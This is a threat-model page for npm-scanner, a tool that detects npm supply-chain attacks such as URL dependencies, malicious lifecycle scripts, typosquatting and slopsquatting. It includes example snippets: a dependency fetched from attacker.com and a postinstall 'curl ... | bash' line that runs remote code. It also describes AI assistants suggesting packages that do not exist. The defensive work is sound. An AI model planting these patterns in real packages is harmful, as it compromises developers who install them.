npm-scanner

Threat Model

npm-scanner protects against supply chain attacks delivered through npm packages. It focuses on attacks that bypass traditional vulnerability scanning (npm audit).

Scope

In Scope

Out of Scope

Attack Vectors

1. Remote Dynamic Dependencies (RDD)

Attacker publishes package with dependency pointing to external URL instead of npm registry.

{
  "dependencies": {
    "helper": "https://attacker.com/malware.tgz"
  }
}

Attack Flow:

  1. Victim runs npm install
  2. npm fetches tarball from attacker URL
  3. Malicious code executes

Detection: npm-scanner scans package.json and package-lock.json for HTTP/HTTPS URLs in dependency specifications.

Severity: CRITICAL

Real-World Example: PhantomRaven campaign used packages.storeartifact.com


2. Lifecycle Script Attacks

Package runs malicious code during installation via npm lifecycle scripts.

Vulnerable Scripts:

{
  "scripts": {
    "postinstall": "curl https://attacker.com/steal.sh | bash"
  }
}

Detection: npm-scanner identifies packages with lifecycle scripts and applies risk scoring based on package age, downloads, and maintainer count.

Severity: HIGH (varies based on package reputation)

Note: Many legitimate packages use lifecycle scripts (esbuild, prisma, puppeteer). Context matters.


3. Typosquatting

Attacker registers package with name similar to popular package.

Malicious Legitimate
lodahs lodash
expres express
recat react

Detection: npm-scanner compares package names against 28 popular targets using Levenshtein distance (edit distance ≤ 2).

Severity: HIGH


4. Slopsquatting

AI coding assistants recommend non-existent packages. Attackers register these names with malicious code.

Attack Flow:

  1. AI suggests: “use the helpful-utils package”
  2. Package doesn’t exist (AI hallucinated)
  3. Attacker registers helpful-utils with malware
  4. Future users following AI advice install malware

Detection: Age checks and low download counts flag newly created packages.

Severity: HIGH


5. Maintainer Account Compromise

Attacker compromises legitimate maintainer account and publishes malicious update.

Detection: Limited. npm-scanner checks for:

Severity: CRITICAL (hardest to detect)


6. Dependency Confusion

Attacker publishes public package with same name as internal/private package.

Detection: npm-scanner can identify suspicious packages but cannot know your private package names.

Severity: HIGH


Indicators of Compromise (IOCs)

Known Malicious Domains

Known Malicious IPs

Attacker Patterns

Risk Scoring

Indicator Points Rationale
Known malicious domain +100 Confirmed attack infrastructure
Known malicious IP +100 Confirmed attack infrastructure
Attacker pattern match +100 Known bad actor
HTTP URL dependency +50 Primary RDD attack vector
Typosquatting match +30 Likely intentional deception
Lifecycle scripts +10-30 Potential code execution
Package age <30 days +20 New packages are higher risk
Downloads <1000/week +15 Less community vetting
Single maintainer +10 Higher account compromise risk
Disposable email +25 Throwaway identity

Limitations

False Positives

Legitimate packages may trigger warnings:

False Negatives

npm-scanner may miss:

Comparison with npm audit

Threat npm audit npm-scanner
Known CVEs
URL dependencies
Lifecycle scripts
Typosquatting
Metadata analysis
Maintainer analysis
Known malicious domains

Use both. They are complementary.